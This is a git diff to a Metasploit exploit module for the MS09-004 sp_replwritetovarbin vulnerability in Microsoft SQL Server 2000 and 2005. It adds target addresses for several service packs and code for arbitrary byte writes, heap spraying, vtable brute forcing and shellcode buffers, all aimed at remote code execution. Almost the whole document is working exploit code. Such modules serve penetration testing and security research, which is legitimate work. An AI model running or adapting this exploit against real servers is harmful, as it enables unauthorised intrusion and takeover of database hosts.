diff --git a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb index fc882db333..d685777943 100644 --- a/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb +++ b/modules/exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb @@ -15,6 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::MSSQL + def initialize(info = {}) super(update_info(info, @@ -41,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Payload' => { 'Space' => 512, - 'BadChars' => "\x00", + 'BadChars' => "", 'StackAdjustment' => -3500, 'DisableNops' => true }, @@ -56,41 +57,72 @@ class Metasploit3 < Msf::Exploit::Remote # Individual targets # [ - 'MSSQL 2000 / MSDE', + # Microsoft SQL Server 2000 - 8.00.194 (Intel X86) + # Aug 6 2000 00:57:48 + 'MSSQL 2000 / MSDE SP0 (8.00.194)', { - 'Writable' => 0x42b6cfe0, - 'Ret' => 0x42b6be7b + 'Method' => 'writeNcall', + 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) + 'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec) + 'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 base) }, ], - [ + # Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) + # May 3 2005 23:18:38 + 'MSSQL 2000 / MSDE SP4 (8.00.2039)', + { + 'Method' => 'sprayNbrute', + 'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really) + 'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec) + 'Ret' => 0x42b0be10 # jmp ecx in sqlsort.dll (2000 sp4) + #'Ret' => 0x773d115b # jmp ecx in activeds.dll (2000 sp4 on 2000) + }, + ], + [ + # Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) + # Oct 14 2005 00:33:37 + 'MSSQL 2005 (9.00.1399.06)', + { + 'Method' => 'sprayNbrute', + 'Writable' => 0x53ad5330, # any writable addr (not even necessary really) + 'Vtable' => 0x05413090, # becomes edx for [edx+0x10] or [edx+4] (must be valid to exec) + 'Ret' => 0x49a9835f # jmp ecx ? + }, + ], + [ + # debugging... 'CRASHER', { + 'Method' => 'sprayNbrute', 'Writable' => 0xcafebabe, + 'Vtable' => 0xfeedfed5, 'Ret' => 0xdeadbeef }, ] ], 'DefaultTarget' => 0, - 'DisclosureDate' => 'Aug 5 2002' + 'DisclosureDate' => 'Dec 09 2008' )) end def check - info = mssql_ping - if (info and info.has_key?('Version')) - - # TODO: better detection - if (info['Version'] =~ /8\.00\.194/) - return Exploit::CheckCode::Vulnerable - end - - # dump the discovered info and return that we detected MSSQL - info.each_pair { |k,v| - print_status(" #{k + (" " * (15-k.length))} = #{v}") - } + # the ping to port 1434 method has two drawbacks... + # #1, it doesn't work on mssql 2005 or newer (localhost only listening) + # #2, it doesn't give an accurate version number (sp/os) + + # since we need to have credentials for this vuln, we just login and run a query + # to get the version information + version = mssql_query_version + if not version return Exploit::CheckCode::Detected end + print_status("@@version returned:\n\t" + version) + + # TODO: add more versions + return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/) + return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/) + return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/) return Exploit::CheckCode::Safe end @@ -99,40 +131,91 @@ class Metasploit3 < Msf::Exploit::Remote mytarget = nil if target.name =~ /Automatic/ print_status("Attempting automatic target detection...") - info = mssql_ping - if (info and info.has_key?('Version')) - if (info['Version'] =~ /8\.00\./) - mytarget = targets[1] - elsif (info['Version'] =~ /9\.00\./) - mytarget = targets[2] - end + + version = mssql_query_version + raise RuntimError, "Unable to get version!" if not version + + if (version =~ /8\.00\.194/) + mytarget = targets[1] + elsif (version =~ /8\.00\.2039/) + mytarget = targets[2] + elsif (version =~ /9\.00\./) + mytarget = targets[3] end - + if mytarget.nil? raise RuntimeError, "Unable to automatically detect the target" else - print_status("Automatically detected target \"#{mytarget.name}\" from version \"#{info['Version']}\"") + print_status("Automatically detected target \"#{mytarget.name}\"") end else mytarget = target end - # prepare a known address pointing to jmp ecx! - if not write4(mytarget['Ret'], mytarget['Writable']) - raise RuntimeError, "Unable to write a byte!" + if mytarget['Method'] == 'sprayNbrute' + exploit_spray_and_brute(mytarget) + elsif mytarget['Method'] == 'writeNcall' + exploit_write_and_call(mytarget) + else + raise RuntimeError, "Invalid exploitation method specified." + end + end + + + # prepare a known address pointing to jmp ecx! + def exploit_write_and_call(mytarget) + + # write the 4 bytes.. + packed_ret = [mytarget['Ret']].pack('V') + x = 0 + packed_ret.unpack('C*').each do |byte| + if (not mssql_login_datastore) + raise RuntimeError, "Invalid SQL Server credentials" + end + + addr = mytarget['Writable'] + x + + # write a single byte value to an arbitrary address (using this vuln) + print_status("Writing 0x%02x to %#x ..." % [byte, addr]) + + num = 16 + sz = num + 179 + buf = rand_text_alphanumeric(sz) + # this corresponds to mov [eax+4], ecx + buf << [addr - 4].pack('V') + + # this causes a length value to have the lsb of our byte + len = 0x169 + if (len & 0xff) < byte + len = byte - (len & 0xff) + else + len = (0x200 - len) + byte + end + extra = rand_text_alphanumeric(len) + + write_byte_sql = %Q|declare @e int,@b varbinary,@l int;exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,'%STUFF%','','','','','','','','','%EXTRA%'| + buf = mssql_encode_string(buf) + sql = write_byte_sql.gsub(/%NUM%/, num.to_s).gsub(/%STUFF%/, buf).gsub(/%EXTRA%/, extra) + begin + ret = mssql_query(sql, false) + rescue ::Errno::ECONNRESET, EOFError + print_error("Error: #{$!}") + end + + x += 1 end if (not mssql_login_datastore) raise RuntimeError, "Invalid SQL Server credentials" end - # trigger the call [eax+0x38] + # call to ecx via the ptr we wrote print_status("Triggering the call to our faked vtable ptr @ %#x" % mytarget['Writable']) - sqlquery = %Q|declare @buf NVARCHAR(4000); -SET @buf='declare @eo int,@vb varbinary,@vbl int; -exec master.dbo.sp_replwritetovarbin 16,@eo output,@vb output,@vbl output,''%STUFF%'',''30'',''31'',''32'',''33'',''34'',''35'',''36'',''37'',''38''; -'; -EXEC master..sp_executesql @buf; + sqlquery = %Q|declare @i int,@buf nvarchar(4000) +set @buf='declare @e int,@b varbinary,@l int;' +set @buf=@buf+'exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',''' +set @buf=@buf+'1'',''2'',''3'',''4'',''5'',''6'',''7'',''8''' +exec master..sp_executesql @buf | # make sploit buff num = 16 @@ -145,50 +228,124 @@ EXEC master..sp_executesql @buf; # encode chars that get modified enc = mssql_encode_string(sploit) - sqlquery.gsub!(/%STUFF%/, enc) - mssql_query(sqlquery, false) + sql = sqlquery.gsub(/%NUM%/, num.to_s).gsub(/%STUFF%/, enc) + ret = mssql_query(sql) handler disconnect end - # write a single byte value to an arbitrary address (using this vuln) - def write1(byte, addr) + + def exploit_spray_and_brute(mytarget) + if (not mssql_login_datastore) raise RuntimeError, "Invalid SQL Server credentials" end - print_status("Writing 0x%02x to %#x ..." % [byte, addr]) - num = 16 - sz = num + 179 + brute_count = 1000 + brute_step = 4096 + spray = true - buf = rand_text_alphanumeric(sz) - # this corresponds to mov [eax+4], ecx - buf << [addr - 4].pack('V') + if spray - extra = rand_text_alphanumeric((0x100 - 0xe1) + byte) + print_status("Spraying the heap with our vtable entry pointer of %#x" % mytarget['Ret']) - write_byte_sql = %Q|declare @eo int,@vb varbinary,@vbl int;exec master.dbo.sp_replwritetovarbin %NUM%,@eo output,@vb output,@vbl output,'%STUFF%','%EXTRA%';| - sql = write_byte_sql.gsub(/%NUM%/, num.to_s).gsub(/%STUFF%/, buf).gsub(/%EXTRA%/, extra) - ret = mssql_query(sql, false) + # spray the heap! (count of 'max' blocks of 8000 bytes...) + query2 = "declare @s varchar(8000);set @s='%MARKER%'+REPLICATE(%ADDR%, (8000/4)-3)+'%MARKER%'+%ADDR%;select @s" + query = %Q|declare @s nvarchar(4000);set @s='%QUERY2%';exec master..sp_executesql @s| - disconnect + addr = mssql_str_to_chars([mytarget['Ret']].pack('V')) +=begin + search_cmd = "s -b 0 L?-1 41 41" + search_cmd << Rex::Text.to_hex([mytarget['Ret']].pack('V'), ' ') + print_status("search command: " + search_cmd) +=end + max = 1000 + part = max / 10 + part = 1 if part < 1 + max.times do |x| + print_status("Spraying ... %d / %d" % [x,max]) if ((x % part)==0) + + marker = [0x41414141 + x].pack('V') + + q2run = query2.gsub(/%MARKER%/, marker) + q2run.gsub!(/%ADDR%/, addr) + q2run.gsub!(/\'/, "\'\'") + runme = query.gsub(/%QUERY2%/, q2run) + + break if not mssql_query(runme) + end + end + + sqlquery = %Q|declare @i int,@buf nvarchar(4000) +set @buf='declare @e int,@b varbinary,@l int;' +set @buf=@buf+'exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'',''' +set @buf=@buf+'1'',''2'',''3'',''4'',''5'',''6'',''7'',''8''' +exec master..sp_executesql @buf +| + + # trigger the memory corruption + brute_count.times do |x| + vtable = mytarget['Vtable'] + (x * brute_step) + + # make sploit buff + num = 16 + sz = num + 179 + sploit = make_nops(sz-2) + #sploit = "\x90" * (sz-2) + sploit << "\xeb\x04" + sploit << [mytarget['Writable'] + 8].pack('V') + sploit << payload.encoded + + # mssql 2000 vtable ptr smashed! + sploit[num-13,4] = [vtable-0x38].pack('V') + + # mssql 2005 stuff: + # the vtable is deref'd twice here + # - first time ecx points at our buffer and the offset is 0x10 + # - second time esp+8 points to our buffer and the offset is 0x04 + sploit[num+63,4] = [vtable-0x10].pack('V') + #sploit[num+407,4] = [vtable-0x4].pack('V') + + # encode chars that get modified + enc = mssql_encode_string(sploit) + + # put the number in (start offset) + runme = sqlquery.gsub(/%NUM%/, num.to_s) + runme.gsub!(/%STUFF%/, enc) + + print_status("Triggering the call to our faked vtable ptr @ %#x" % vtable) + + # go! + begin + mssql_query(runme) + rescue ::Errno::ECONNRESET + print_error("connection reset!") + if (not mssql_login_datastore) + raise RuntimeError, "Unable to re-login!" + end + end + + handler + break if session_created? + end + end + + + def mssql_str_to_chars(str) + ret = "" + str.unpack('C*').each do |ch| + ret += "+" if ret.length > 0 + ret += "char(" + ret << ch.to_s + ret += ")" + end return ret end - # repeatedly write1 ! - def write4(dword, addr) - arr = [dword].pack('V').unpack('C*') - x = 0 - arr.each do |byte| - return false if not write1(byte, addr+x) - x += 1 - end - return true - end def mssql_encode_string(str) - badchars = "\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f" + badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f" enc = "" in_str = true @@ -228,4 +385,28 @@ EXEC master..sp_executesql @buf; return enc end + + def mssql_query_version + if (not mssql_login_datastore) + raise RuntimeError, "Invalid SQL Server credentials" + end + res = mssql_query("select @@version") + disconnect + + return nil if not res + if res[:errors] and not res[:errors].empty? + errstr = "" + res[:errors].each do |err| + errstr << err + end + raise RuntimeError, errstr + end + + if not res[:rows] or res[:rows].empty? + return nil + end + + return res[:rows][0][0] + end + end